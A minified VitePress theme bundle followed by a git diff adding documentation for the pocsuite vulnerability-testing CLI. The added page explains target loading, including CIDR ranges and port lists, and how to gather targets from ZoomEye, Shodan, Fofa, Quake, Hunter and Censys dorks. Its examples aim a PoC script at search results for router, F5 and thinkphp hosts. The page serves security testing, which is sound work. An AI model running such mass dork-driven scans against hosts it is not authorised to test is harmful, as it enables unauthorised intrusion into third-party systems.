ie(),(i=o.value)==null||i.focus())}),(i,u)=>r(s)?(a(),l("aside",{key:0,class:V(["VPSidebar",{open:e.open}]),ref_key:"navEl",ref:o,onClick:u[0]||(u[0]=dt(()=>{},["stop"]))},[c("nav",Bi,[Ni,(a(!0),l(x,null,M(r(n),v=>(a(),l("div",{key:v.text,class:"group"},[h(Ii,{text:v.text,items:v.items,collapsible:v.collapsible,collapsed:v.collapsed},null,8,["text","items","collapsible","collapsed"])]))),128))])],2)):g("",!0)}});var Ti=_(Ei,[["__scopeId","data-v-ee4c385a"]]);function Hi(){const{page:e}=$();B&&O(()=>e.value.relativePath,()=>{ie(()=>{document.querySelectorAll('.vp-doc div[class*="language-"]>span.copy').forEach(Di)})},{immediate:!0,flush:"post"})}async function zi(e){try{return navigator.clipboard.writeText(e)}catch{const t=document.createElement("textarea"),n=document.activeElement;t.value=e,t.setAttribute("readonly",""),t.style.contain="strict",t.style.position="absolute",t.style.left="-9999px",t.style.fontSize="12pt";const s=document.getSelection(),o=s?s.rangeCount>0&&s.getRangeAt(0):null;document.body.appendChild(t),t.select(),t.selectionStart=0,t.selectionEnd=e.length,document.execCommand("copy"),document.body.removeChild(t),o&&(s.removeAllRanges(),s.addRange(o)),n&&n.focus()}}function Di(e){e.onclick=()=>{const t=e.parentElement;if(!t)return;const n=t.classList.contains("language-sh")||t.classList.contains("language-bash");let{innerText:s=""}=t;n&&(s=s.replace(/^ *\$ /gm,"")),zi(s).then(()=>{e.classList.add("copied"),setTimeout(()=>{e.classList.remove("copied")},3e3)})}}const _e=e=>(E("data-v-79919d26"),e=e(),T(),e),Fi={class:"NotFound"},Ri=_e(()=>c("p",{class:"code"},"404",-1)),Oi=_e(()=>c("h1",{class:"title"},"PAGE NOT FOUND",-1)),Gi=_e(()=>c("div",{class:"divider"},null,-1)),Ui=_e(()=>c("blockquote",{class:"quote"}," But if you don't change your direction, and if you keep looking, you may end up where you are heading. ",-1)),qi={class:"action"},ji=["href"],Wi=f({__name:"NotFound",setup(e){const{site:t}=$();return(n,s)=>(a(),l("div",Fi,[Ri,Oi,Gi,Ui,c("div",qi,[c("a",{class:"link",href:r(t).base,"aria-label":"go to home"}," Take me home ",8,ji)])]))}});var ye=_(Wi,[["__scopeId","data-v-79919d26"]]);const Ki={},Yi={class:"VPPage"};function Qi(e,t){const n=ce("Content");return a(),l("div",Yi,[h(n)])}var Xi=_(Ki,[["render",Qi]]);const Ji=f({__name:"VPButton",props:{tag:null,size:null,theme:null,text:null,href:null},setup(e){const t=e,n=w(()=>{var i,u;return[(i=t.size)!=null?i:"medium",(u=t.theme)!=null?u:"brand"]}),s=w(()=>t.href&&ue.test(t.href)),o=w(()=>t.tag?t.tag:t.href?"a":"button");return(i,u)=>(a(),y(le(r(o)),{class:V(["VPButton",r(n)]),href:e.href?r(te)(e.href):void 0,target:r(s)?"_blank":void 0,rel:r(s)?"noreferrer":void 0},{default:p(()=>[N(k(e.text),1)]),_:1},8,["class","href","target","rel"]))}});var Zi=_(Ji,[["__scopeId","data-v-7fa51b42"]]);const er=e=>(E("data-v-b005c75c"),e=e(),T(),e),tr={class:"container"},nr={class:"main"},sr={key:0,class:"name"},or={class:"clip"},ar={key:1,class:"text"},ir={key:2,class:"tagline"},rr={key:3,class:"actions"},cr={key:0,class:"image"},lr={class:"image-container"},ur=er(()=>c("div",{class:"image-bg"},null,-1)),dr=f({__name:"VPHero",props:{name:null,text:null,tagline:null,image:null,actions:null},setup(e){return(t,n)=>(a(),l("div",{class:V(["VPHero",{"has-image":e.image}])},[c("div",tr,[c("div",nr,[e.name?(a(),l("h1",sr,[c("span",or,k(e.name),1)])):g("",!0),e.text?(a(),l("p",ar,k(e.text),1)):g("",!0),e.tagline?(a(),l("p",ir,k(e.tagline),1)):g("",!0),e.actions?(a(),l("div",rr,[(a(!0),l(x,null,M(e.actions,s=>(a(),l("div",{key:s.link,class:"action"},[h(Zi,{tag:"a",size:"medium",theme:s.theme,text:s.text,href:s.link},null,8,["theme","text","href"])]))),128))])):g("",!0)]),e.image?(a(),l("div",cr,[c("div",lr,[ur,h(Xe,{class:"image-src",image:e.image},null,8,["image"])])])):g("",!0)])],2))}});var _r=_(dr,[["__scopeId","data-v-b005c75c"]]);const vr=f({__name:"VPHomeHero",setup(e){const{frontmatter:t}=$();return(n,s)=>r(t).hero?(a(),y(_r,{key:0,class:"VPHomeHero",name:r(t).hero.name,text:r(t).hero.text,tagline:r(t).hero.tagline,image:r(t).hero.image,actions:r(t).hero.actions},null,8,["name","text","tagline","image","actions"])):g("",!0)}});const pr={class:"VPFeature"},hr={key:0,class:"icon"},fr={class:"title"},mr={class:"details"},gr=f({__name:"VPFeature",props:{icon:null,title:null,details:null},setup(e){return(t,n)=>(a(),l("article",pr,[e.icon?(a(),l("div",hr,k(e.icon),1)):g("",!0),c("h2",fr,k(e.title),1),c("p",mr,k(e.details),1)]))}});var yr=_(gr,[["__scopeId","data-v-908440de"]]);const kr={key:0,class:"VPFeatures"},$r={class:"container"},br={class:"items"},xr=f({__name:"VPFeatures",props:{features:null},setup(e){const t=e,n=w(()=>{const s=t.features.length;if(s){if(s===2)return"grid-2";if(s===3)return"grid-3";if(s%3===0)return"grid-6";if(s%2===0)return"grid-4"}else return});return(s,o)=>e.features?(a(),l("div",kr,[c("div",$r,[c("div",br,[(a(!0),l(x,null,M(e.features,i=>(a(),l("div",{key:i.title,class:V(["item",[r(n)]])},[h(yr,{icon:i.icon,title:i.title,details:i.details},null,8,["icon","title","details"])],2))),128))])])])):g("",!0)}});var wr=_(xr,[["__scopeId","data-v-da834264"]]);const Pr=f({__name:"VPHomeFeatures",setup(e){const{frontmatter:t}=$();return(n,s)=>r(t).features?(a(),y(wr,{key:0,class:"VPHomeFeatures",features:r(t).features},null,8,["features"])):g("",!0)}});const Vr={class:"VPHome"},Sr=f({__name:"VPHome",setup(e){return(t,n)=>{const s=ce("Content");return a(),l("div",Vr,[d(t.$slots,"home-hero-before",{},void 0,!0),h(vr),d(t.$slots,"home-hero-after",{},void 0,!0),d(t.$slots,"home-features-before",{},void 0,!0),h(Pr),d(t.$slots,"home-features-after",{},void 0,!0),h(s)])}}});var Lr=_(Sr,[["__scopeId","data-v-3a556cd7"]]),ze;const Z=typeof window!="undefined";Z&&((ze=window==null?void 0:window.navigator)==null?void 0:ze.userAgent)&&/iP(ad|hone|od)/.test(window.navigator.userAgent);function Cr(e){return pt()?(ht(e),!0):!1}function Mr(e,t=!0){_t()?vt(e):t?e():ie(e)}const Ir=Z?window:void 0;Z&&window.document;Z&&window.navigator;Z&&window.location;function De(e,t={}){const{window:n=Ir}=t,s=Boolean(n&&"matchMedia"in n&&typeof n.matchMedia=="function");let o;const i=S(!1),u=()=>{!s||(o||(o=n.matchMedia(e)),i.value=o.matches)};return Mr(()=>{u(),o&&("addEventListener"in o?o.addEventListener("change",u):o.addListener(u),Cr(()=>{"removeEventListener"in o?o.removeEventListener("change",u):o.removeListener(u)}))}),i}const ke=typeof globalThis!="undefined"?globalThis:typeof window!="undefined"?window:typeof global!="undefined"?global:typeof self!="undefined"?self:{},$e="__vueuse_ssr_handlers__";ke[$e]=ke[$e]||{};ke[$e];var Fe;(function(e){e.UP="UP",e.RIGHT="RIGHT",e.DOWN="DOWN",e.LEFT="LEFT",e.NONE="NONE"})(Fe||(Fe={}));function Ar(){const{hasSidebar:e}=H(),t=De("(min-width: 960px)"),n=De("(min-width: 1280px)");return{isAsideEnabled:w(()=>!n.value&&!t.value?!1:e.value?n.value:t.value)}}const Br=56;function Nr(){const{page:e}=$();return{hasOutline:w(()=>e.value.headers.length>0)}}function Er(e){return ot(Tr(e))}function Tr(e){e=e.map(n=>Object.assign({},n));let t;for(const n of e)n.level===2?t=n:t&&n.level<=3&&(t.children||(t.children=[])).push(n);return e.filter(n=>n.level===2)}function ot(e){return e.map(t=>({text:t.title,link:`#${t.slug}`,children:t.children?ot(t.children):void 0,hidden:t.hidden}))}function Hr(e,t){const{isAsideEnabled:n}=Ar(),s=Dt(i,100);let o=null;R(()=>{requestAnimationFrame(i),window.addEventListener("scroll",s)}),ft(()=>{u(location.hash)}),Q(()=>{window.removeEventListener("scroll",s)});function i(){if(!n.value)return;const v=[].slice.call(e.value.querySelectorAll(".outline-link")),m=[].slice.call(document.querySelectorAll(".content .header-anchor")).filter(I=>v.some(A=>A.hash===I.hash&&I.offsetParent!==null)),b=window.scrollY,L=window.innerHeight,P=document.body.offsetHeight,C=Math.abs(b+L-P)<1;if(m.length&&C){u(m[m.length-1].hash);return}for(let I=0;I(E("data-v-2c8c1ecb"),e=e(),T(),e),Fr={class:"content"},Rr={class:"outline-title"},Or={"aria-labelledby":"doc-outline-aria-label"},Gr=Dr(()=>c("span",{class:"visually-hidden",id:"doc-outline-aria-label"}," Table of Contents for current page ",-1)),Ur={class:"root"},qr=["href"],jr={key:0},Wr=["href"],Kr=f({__name:"VPDocAsideOutline",setup(e){const{page:t,frontmatter:n,theme:s}=$(),{hasOutline:o}=Nr(),i=S(),u=S();Hr(i,u);const v=w(()=>Er(t.value.headers));function m({target:b}){const L="#"+b.href.split("#")[1],P=document.querySelector(decodeURIComponent(L));P==null||P.focus()}return(b,L)=>(a(),l("div",{class:V(["VPDocAsideOutline",{"has-outline":r(o)}]),ref_key:"container",ref:i},[c("div",Fr,[c("div",{class:"outline-marker",ref_key:"marker",ref:u},null,512),c("div",Rr,k(r(s).outlineTitle||"On this page"),1),c("nav",Or,[Gr,c("ul",Ur,[(a(!0),l(x,null,M(r(v),({text:P,link:C,children:I,hidden:A})=>Le((a(),l("li",null,[c("a",{class:"outline-link",href:C,onClick:m},k(P),9,qr),I&&r(n).outline==="deep"?(a(),l("ul",jr,[(a(!0),l(x,null,M(I,({text:z,link:ve,hidden:q})=>Le((a(),l("li",null,[c("a",{class:"outline-link nested",href:ve,onClick:m},k(z),9,Wr)],512)),[[Ce,!q]])),256))])):g("",!0)],512)),[[Ce,!A]])),256))])])])],2))}});var Yr=_(Kr,[["__scopeId","data-v-2c8c1ecb"]]);const Qr={class:"VPDocAsideCarbonAds"},Xr=f({__name:"VPDocAsideCarbonAds",setup(e){const t=()=>null;return(n,s)=>(a(),l("div",Qr,[h(r(t))]))}});const Jr=e=>(E("data-v-a5efb9ec"),e=e(),T(),e),Zr={class:"VPDocAside"},ec=Jr(()=>c("div",{class:"spacer"},null,-1)),tc=f({__name:"VPDocAside",setup(e){const{page:t,theme:n}=$();return(s,o)=>(a(),l("div",Zr,[d(s.$slots,"aside-top",{},void 0,!0),d(s.$slots,"aside-outline-before",{},void 0,!0),r(t).headers.length?(a(),y(Yr,{key:0})):g("",!0),d(s.$slots,"aside-outline-after",{},void 0,!0),ec,d(s.$slots,"aside-ads-before",{},void 0,!0),r(n).carbonAds?(a(),y(Xr,{key:1})):g("",!0),d(s.$slots,"aside-ads-after",{},void 0,!0),d(s.$slots,"aside-bottom",{},void 0,!0)]))}});var nc=_(tc,[["__scopeId","data-v-a5efb9ec"]]);function sc(){const{theme:e,page:t}=$();return w(()=>{const{text:n="Edit this page",pattern:s}=e.value.editLink||{},{relativePath:o}=t.value;return{url:s.replace(/:path/g,o),text:n}})}function oc(){const{page:e,theme:t,frontmatter:n}=$();return w(()=>{const s=Qe(t.value.sidebar,e.value.relativePath),o=Ft(s),i=o.findIndex(u=>J(e.value.relativePath,u.link));return{prev:n.value.prev?{...o[i-1],text:n.value.prev}:o[i-1],next:n.value.next?{...o[i+1],text:n.value.next}:o[i+1]}})}const ac={},ic={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},rc=c("path",{d:"M18,23H4c-1.7,0-3-1.3-3-3V6c0-1.7,1.3-3,3-3h7c0.6,0,1,0.4,1,1s-0.4,1-1,1H4C3.4,5,3,5.4,3,6v14c0,0.6,0.4,1,1,1h14c0.6,0,1-0.4,1-1v-7c0-0.6,0.4-1,1-1s1,0.4,1,1v7C21,21.7,19.7,23,18,23z"},null,-1),cc=c("path",{d:"M8,17c-0.3,0-0.5-0.1-0.7-0.3C7,16.5,6.9,16.1,7,15.8l1-4c0-0.2,0.1-0.3,0.3-0.5l9.5-9.5c1.2-1.2,3.2-1.2,4.4,0c1.2,1.2,1.2,3.2,0,4.4l-9.5,9.5c-0.1,0.1-0.3,0.2-0.5,0.3l-4,1C8.2,17,8.1,17,8,17zM9.9,12.5l-0.5,2.1l2.1-0.5l9.3-9.3c0.4-0.4,0.4-1.1,0-1.6c-0.4-0.4-1.2-0.4-1.6,0l0,0L9.9,12.5z M18.5,2.5L18.5,2.5L18.5,2.5z"},null,-1),lc=[rc,cc];function uc(e,t){return a(),l("svg",ic,lc)}var dc=_(ac,[["render",uc]]);const _c={class:"VPLastUpdated"},vc=["datatime"],pc=f({__name:"VPDocFooterLastUpdated",setup(e){const{theme:t,page:n}=$(),s=w(()=>new Date(n.value.lastUpdated)),o=w(()=>s.value.toISOString()),i=S("");return R(()=>{re(()=>{i.value=s.value.toLocaleString(window.navigator.language)})}),(u,v)=>{var m;return a(),l("p",_c,[N(k((m=r(t).lastUpdatedText)!=null?m:"Last updated")+": ",1),c("time",{datatime:r(o)},k(i.value),9,vc)])}}});var hc=_(pc,[["__scopeId","data-v-0adfb9fc"]]);const fc={class:"VPDocFooter"},mc={class:"edit-info"},gc={key:0,class:"edit-link"},yc={key:1,class:"last-updated"},kc={key:0,class:"prev-next"},$c={class:"pager"},bc=["href"],xc={class:"desc"},wc={class:"title"},Pc=["href"],Vc={class:"desc"},Sc={class:"title"},Lc=f({__name:"VPDocFooter",setup(e){const{theme:t,page:n,frontmatter:s}=$(),o=sc(),i=oc(),u=w(()=>n.value.lastUpdated&&s.value.lastUpdated!==!1);return(v,m)=>{var b,L,P,C;return a(),l("footer",fc,[c("div",mc,[r(t).editLink&&r(s).editLink!==!1?(a(),l("div",gc,[h(U,{class:"edit-link-button",href:r(o).url,"no-icon":!0},{default:p(()=>[h(dc,{class:"edit-link-icon"}),N(" "+k(r(o).text),1)]),_:1},8,["href"])])):g("",!0),r(u)?(a(),l("div",yc,[h(hc)])):g("",!0)]),r(i).prev||r(i).next?(a(),l("div",kc,[c("div",$c,[r(i).prev?(a(),l("a",{key:0,class:"pager-link prev",href:r(te)(r(i).prev.link)},[c("span",xc,k((L=(b=r(t).docFooter)==null?void 0:b.prev)!=null?L:"Previous page"),1),c("span",wc,k(r(i).prev.text),1)],8,bc)):g("",!0)]),c("div",{class:V(["pager",{"has-prev":r(i).prev}])},[r(i).next?(a(),l("a",{key:0,class:"pager-link next",href:r(te)(r(i).next.link)},[c("span",Vc,k((C=(P=r(t).docFooter)==null?void 0:P.next)!=null?C:"Next page"),1),c("span",Sc,k(r(i).next.text),1)],8,Pc)):g("",!0)],2)])):g("",!0)])}}});var Cc=_(Lc,[["__scopeId","data-v-606cf00d"]]);const Mc=e=>(E("data-v-15902cea"),e=e(),T(),e),Ic={class:"container"},Ac={class:"aside"},Bc=Mc(()=>c("div",{class:"aside-curtain"},null,-1)),Nc={class:"aside-container"},Ec={class:"aside-content"},Tc={class:"content"},Hc={class:"content-container"},zc={class:"main"},Dc=f({__name:"VPDoc",setup(e){const t=D(),{hasSidebar:n}=H(),s=w(()=>t.path.replace(/[./]+/g,"_").replace(/_html$/,""));return(o,i)=>{const u=ce("Content");return a(),l("div",{class:V(["VPDoc",{"has-sidebar":r(n)}])},[c("div",Ic,[c("div",Ac,[Bc,c("div",Nc,[c("div",Ec,[h(nc,null,{"aside-top":p(()=>[d(o.$slots,"aside-top",{},void 0,!0)]),"aside-bottom":p(()=>[d(o.$slots,"aside-bottom",{},void 0,!0)]),"aside-outline-before":p(()=>[d(o.$slots,"aside-outline-before",{},void 0,!0)]),"aside-outline-after":p(()=>[d(o.$slots,"aside-outline-after",{},void 0,!0)]),"aside-ads-before":p(()=>[d(o.$slots,"aside-ads-before",{},void 0,!0)]),"aside-ads-after":p(()=>[d(o.$slots,"aside-ads-after",{},void 0,!0)]),_:3})])])]),c("div",Tc,[c("div",Hc,[d(o.$slots,"doc-before",{},void 0,!0),c("main",zc,[h(u,{class:V(["vp-doc",r(s)])},null,8,["class"])]),h(Cc),d(o.$slots,"doc-after",{},void 0,!0)])])])],2)}}});var Fc=_(Dc,[["__scopeId","data-v-15902cea"]]);const Rc=f({__name:"VPContent",setup(e){const t=D(),{frontmatter:n}=$(),{hasSidebar:s}=H();return Hi(),(o,i)=>(a(),l("div",{class:V(["VPContent",{"has-sidebar":r(s),"is-home":r(n).layout==="home"}]),id:"VPContent"},[r(t).component===ye?(a(),y(ye,{key:0})):r(n).layout==="page"?(a(),y(Xi,{key:1})):r(n).layout==="home"?(a(),y(Lr,{key:2},{"home-hero-before":p(()=>[d(o.$slots,"home-hero-before",{},void 0,!0)]),"home-hero-after":p(()=>[d(o.$slots,"home-hero-after",{},void 0,!0)]),"home-features-before":p(()=>[d(o.$slots,"home-features-before",{},void 0,!0)]),"home-features-after":p(()=>[d(o.$slots,"home-features-after",{},void 0,!0)]),_:3})):(a(),y(Fc,{key:3},{"doc-before":p(()=>[d(o.$slots,"doc-before",{},void 0,!0)]),"doc-after":p(()=>[d(o.$slots,"doc-after",{},void 0,!0)]),"aside-top":p(()=>[d(o.$slots,"aside-top",{},void 0,!0)]),"aside-outline-before":p(()=>[d(o.$slots,"aside-outline-before",{},void 0,!0)]),"aside-outline-after":p(()=>[d(o.$slots,"aside-outline-after",{},void 0,!0)]),"aside-ads-before":p(()=>[d(o.$slots,"aside-ads-before",{},void 0,!0)]),"aside-ads-after":p(()=>[d(o.$slots,"aside-ads-after",{},void 0,!0)]),"aside-bottom":p(()=>[d(o.$slots,"aside-bottom",{},void 0,!0)]),_:3}))],2))}});var Oc=_(Rc,[["__scopeId","data-v-ccb8e740"]]);const Gc={class:"container"},Uc={class:"message"},qc={class:"copyright"},jc=f({__name:"VPFooter",setup(e){const{theme:t}=$(),{hasSidebar:n}=H();return(s,o)=>r(t).footer?(a(),l("footer",{key:0,class:V(["VPFooter",{"has-sidebar":r(n)}])},[c("div",Gc,[c("p",Uc,k(r(t).footer.message),1),c("p",qc,k(r(t).footer.copyright),1)])],2)):g("",!0)}});var Wc=_(jc,[["__scopeId","data-v-020720c5"]]);const Kc={class:"Layout"},Yc=f({__name:"Layout",setup(e){const{isOpen:t,open:n,close:s}=H(),o=D();return O(()=>o.path,s),Rt(t,s),Ge("close-sidebar",s),(i,u)=>(a(),l("div",Kc,[d(i.$slots,"layout-top",{},void 0,!0),h(Gt),h(jt,{class:"backdrop",show:r(t),onClick:r(s)},null,8,["show","onClick"]),h(Wa,null,{"nav-bar-title-before":p(()=>[d(i.$slots,"nav-bar-title-before",{},void 0,!0)]),"nav-bar-title-after":p(()=>[d(i.$slots,"nav-bar-title-after",{},void 0,!0)]),"nav-bar-content-before":p(()=>[d(i.$slots,"nav-bar-content-before",{},void 0,!0)]),"nav-bar-content-after":p(()=>[d(i.$slots,"nav-bar-content-after",{},void 0,!0)]),"nav-screen-content-before":p(()=>[d(i.$slots,"nav-screen-content-before",{},void 0,!0)]),"nav-screen-content-after":p(()=>[d(i.$slots,"nav-screen-content-after",{},void 0,!0)]),_:3}),h(ci,{open:r(t),onOpenMenu:r(n)},null,8,["open","onOpenMenu"]),h(Ti,{open:r(t)},null,8,["open"]),h(Oc,null,{"home-hero-before":p(()=>[d(i.$slots,"home-hero-before",{},void 0,!0)]),"home-hero-after":p(()=>[d(i.$slots,"home-hero-after",{},void 0,!0)]),"home-features-before":p(()=>[d(i.$slots,"home-features-before",{},void 0,!0)]),"home-features-after":p(()=>[d(i.$slots,"home-features-after",{},void 0,!0)]),"doc-before":p(()=>[d(i.$slots,"doc-before",{},void 0,!0)]),"doc-after":p(()=>[d(i.$slots,"doc-after",{},void 0,!0)]),"aside-top":p(()=>[d(i.$slots,"aside-top",{},void 0,!0)]),"aside-bottom":p(()=>[d(i.$slots,"aside-bottom",{},void 0,!0)]),"aside-outline-before":p(()=>[d(i.$slots,"aside-outline-before",{},void 0,!0)]),"aside-outline-after":p(()=>[d(i.$slots,"aside-outline-after",{},void 0,!0)]),"aside-ads-before":p(()=>[d(i.$slots,"aside-ads-before",{},void 0,!0)]),"aside-ads-after":p(()=>[d(i.$slots,"aside-ads-after",{},void 0,!0)]),_:3}),h(Wc),d(i.$slots,"layout-bottom",{},void 0,!0)]))}});var Qc=_(Yc,[["__scopeId","data-v-505e1f16"]]);const ae={Layout:Qc,NotFound:ye};function Xc(e,t){let n=[],s=!0;const o=i=>{if(s){s=!1;return}n.forEach(u=>document.head.removeChild(u)),n=[],i.forEach(u=>{const v=Jc(u);document.head.appendChild(v),n.push(v)})};re(()=>{const i=e.data,u=t.value,v=i&&i.description,m=i&&i.frontmatter.head||[];document.title=qe(u,i),document.querySelector("meta[name=description]").setAttribute("content",v||u.description),o(Lt(u.head,el(m)))})}function Jc([e,t,n]){const s=document.createElement(e);for(const o in t)s.setAttribute(o,t[o]);return n&&(s.innerHTML=n),s}function Zc(e){return e[0]==="meta"&&e[1]&&e[1].name==="description"}function el(e){return e.filter(t=>!Zc(t))}const me=new Set,at=()=>document.createElement("link"),tl=e=>{const t=at();t.rel="prefetch",t.href=e,document.head.appendChild(t)},nl=e=>{const t=new XMLHttpRequest;t.open("GET",e,t.withCredentials=!0),t.send()};let ee;const sl=B&&(ee=at())&&ee.relList&&ee.relList.supports&&ee.relList.supports("prefetch")?tl:nl;function ol(){if(!B||!window.IntersectionObserver)return;let e;if((e=navigator.connection)&&(e.saveData||/2g/.test(e.effectiveType)))return;const t=window.requestIdleCallback||setTimeout;let n=null;const s=()=>{n&&n.disconnect(),n=new IntersectionObserver(i=>{i.forEach(u=>{if(u.isIntersecting){const v=u.target;n.unobserve(v);const{pathname:m}=v;if(!me.has(m)){me.add(m);const b=je(m);sl(b)}}})}),t(()=>{document.querySelectorAll("#app a").forEach(i=>{const{target:u,hostname:v,pathname:m}=i,b=m.match(/\.\w+$/);b&&b[0]!==".html"||u!=="_blank"&&v===location.hostname&&(m!==location.pathname?n.observe(i):me.add(m))})})};R(s);const o=D();O(()=>o.path,s),Q(()=>{n&&n.disconnect()})}const al=f({setup(e,{slots:t}){const n=S(!1);return R(()=>{n.value=!0}),()=>n.value&&t.default?t.default():null}}),il=ae.NotFound||(()=>"404 Not Found"),rl={name:"VitePressApp",setup(){const{site:e}=$();return R(()=>{O(()=>e.value.lang,t=>{document.documentElement.lang=t},{immediate:!0})}),ol(),()=>ge(ae.Layout)}};function cl(){const e=ul(),t=ll();t.provide(Ke,e);const n=Mt(e.route);return t.provide(We,n),t.component("Content",Nt),t.component("ClientOnly",al),Object.defineProperty(t.config.globalProperties,"$frontmatter",{get(){return n.frontmatter.value}}),ae.enhanceApp&&ae.enhanceApp({app:t,router:e,siteData:X}),{app:t,router:e,data:n}}function ll(){return mt(rl)}function ul(){let e=B,t;return At(n=>{let s=je(n);return e&&(t=s),(e||t===s)&&(s=s.replace(/\.js$/,".lean.js")),B&&(e=!1),kt(()=>import(s),[])},il)}if(B){const{app:e,router:t,data:n}=cl();t.go().then(()=>{Xc(t.route,n.site),e.mount("#app")})}export{cl as createApp}; diff --git a/assets/en_guide_parameter-pocsuite.md.f01bc777.js b/assets/en_guide_parameter-pocsuite.md.f01bc777.js new file mode 100644 index 00000000..5806cb6c --- /dev/null +++ b/assets/en_guide_parameter-pocsuite.md.f01bc777.js @@ -0,0 +1,157 @@ +import{_ as s,a}from"./chunks/parameter-pcap-traffic.32a66c33.js";import{_ as e,j as n,g as o,H as p}from"./chunks/framework.8815fd6f.js";const u=JSON.parse('{"title":"CLI Mode Parameters","description":"","frontmatter":{},"headers":[{"level":2,"title":"Target Loading","slug":"target-loading"},{"level":2,"title":"PoC Script Loading","slug":"poc-script-loading"},{"level":2,"title":"Running Control","slug":"running-control"},{"level":2,"title":"Network Control","slug":"network-control"},{"level":2,"title":"OOB Service","slug":"oob-service"},{"level":2,"title":"Docker Environment","slug":"docker-environment"},{"level":2,"title":"Web Hook","slug":"web-hook"},{"level":2,"title":"Custom Parameters","slug":"custom-parameters"},{"level":2,"title":"Results Summary","slug":"results-summary"},{"level":2,"title":"Other","slug":"other"}],"relativePath":"en/guide/parameter-pocsuite.md","lastUpdated":1679524720000}'),l={name:"en/guide/parameter-pocsuite.md"},t=p(`

CLI Mode Parameters

You can also refer to "Architecture Analysis", in which most of the important parameters are marked.

Target Loading

-u / --url

Load a single URL or CIDR, support IPv4/IPv6.

pocsuite -r poc.py -u https://example.com
+pocsuite -r poc.py -u fd12:3456:789a:1::/120
+pocsuite -r poc.py -u 172.16.218.1/24
+pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"
+

-f / --file

Load multiple URL or CIDR from a file, one per line. If a line starting with # is encountered, it is skipped.

# this is url.txt
+172.16.218.1/24
+https://example.com
+# localhost
+
pocsuite -r poc.py -f url.txt
+

-p / --ports

Add extra ports for URL or CIDR, format: [proto:]port, proto is optional, separated by ,.

For example: pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 will load the following targets.

172.16.218.0
+172.16.218.0:8080
+https://172.16.218.0:8443
+172.16.218.1
+172.16.218.1:8080
+https://172.16.218.1:8443
+

-s

Do not load the port of the target itself, and only use the port provided by -p.

For example: pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 -s will load the following targets.

172.16.218.0:8080
+https://172.16.218.0:8443
+172.16.218.1:8080
+https://172.16.218.1:8443
+

--dork / --dork-zoomeye / --zoomeye-token

Get test targets via the ZoomEye API.

The first time you use it, you will be prompted to enter ZoomEye API Key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --zoomeye-token parameter.

The number of data items retrieved per page is 20. You can use --max-page to control the number of pages retrieved (the same below).

pocsuite -r poc.py --dork 'app:"Apache httpd"'
+
+...
+ZoomEye API token: (input will hidden)
+[16:13:14] [INFO] [PLUGIN] ZoomEeye search limit 1000
+[16:13:14] [INFO] [PLUGIN] try fetch targets from zoomeye with dork: app:"Apache httpd"
+[16:13:18] [INFO] [PLUGIN] got 20 target(s) from zoomeye
+[16:13:18] [INFO] pocsusite got a total of 20 tasks
+[16:13:18] [INFO] starting 20 threads
+...
+

--dork-shodan / --shodan-token

Get test targets via the Shodan API.

The first time you use it, you will be prompted to enter Shodan API key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --shodan-token parameter. The number of data items retrieved per page is 100.

pocsuite -r poc.py --dork-shodan '"<title>Vigor 300B</title>"'
+
+...
+[16:26:52] [INFO] {"member": true, "credits": 8, "display_name": null, "created": "***"}
+[16:26:52] [INFO] [PLUGIN] shodan credits limit 8
+[16:26:52] [INFO] [PLUGIN] try fetch targets from shodan with dork: "<title>Vigor 300B</title>"
+[16:26:57] [INFO] [PLUGIN] got 100 target(s) from shodan
+[16:26:57] [INFO] pocsusite got a total of 100 tasks
+[16:26:57] [INFO] starting 100 threads
+...
+

--dork-fofa / --fofa-user / --fofa-token

Get test targets via the Fofa API.

The first time you use it, you will be prompted to enter Fofa user email and Fofa API Key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --fofa-user and --fofa-token parameters. The number of data items retrieved per page is 100.

pocsuite -r poc.py --dork-fofa 'thinkphp'
+
+...
+[16:33:23] [INFO] {"error":false,"email":"***","username":"***","fcoin":48,"isvip":true," vip_level":2,"is_verified":false,"avatar":"https://nosec.org/missing.jpg","message":"","fofacli_ver":"4.0.3","fofa_server": true}
+[16:33:23] [INFO] [PLUGIN] try fetch targets from Fofa with dork: thinkphp
+[16:33:25] [INFO] [PLUGIN] got 88 target(s) from Fofa
+[16:33:25] [INFO] pocsusite got a total of 88 tasks
+[16:33:25] [INFO] starting 88 threads
+

--dork-quake / --quake-token

Get test targets via the Quake API.

The first time you use it, you will be prompted to enter Quake API key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --quake-token parameter. The number of data items retrieved per page is 10.

pocsuite -r poc.py --dork-quake 'app:"F5_BIG-IP"'
+...
+[16:40:43] [INFO] [PLUGIN] try fetch targets from Quake with dork: app:"F5_BIG-IP"
+[16:40:49] [INFO] [PLUGIN] got 10 target(s) from Quake
+[16:40:49] [INFO] pocsusite got a total of 10 tasks
+[16:40:49] [INFO] starting 10 threads
+...
+

--dork-hunter / --hunter-token

Get test targets via the Hunter API.

The first time you use it, you will be prompted to enter Hunter API key. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --hunter-token parameter. The number of data items retrieved per page is 20. .

pocsuite -r poc.py --dork-hunter 'web.title="Vigor 2960"'
+...
+[16:48:09] [INFO] [PLUGIN] Hunter credits limit Today's remaining points: 499
+[16:48:09] [INFO] [PLUGIN] try fetch targets from Hunter with dork: web.title="Vigor 2960"
+[16:48:29] [INFO] [PLUGIN] got 20 target(s) from Hunter
+[16:48:29] [INFO] pocsusite got a total of 20 tasks
+[16:48:29] [INFO] starting 20 threads
+...
+

--dork-censys / --censys-uid / --censys-secret

Get test targets via the Censys API.

The first time you use it, you will be prompted to enter Censys API ID and Censys API SECRET. It will be saved to the $HOME/.pocsuiterc file. Unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --censys-uid and --censys-secret parameters. The number of data items retrieved per page is 50.

pocsuite -r poc.py --dork-censys 'thinkphp'
+...
+[16:55:29] [INFO] [PLUGIN] Censys login success, email: ***
+[16:55:29] [INFO] [PLUGIN] Censys credits limit 248
+[16:55:29] [INFO] [PLUGIN] try fetch targets from censys with dork: thinkphp
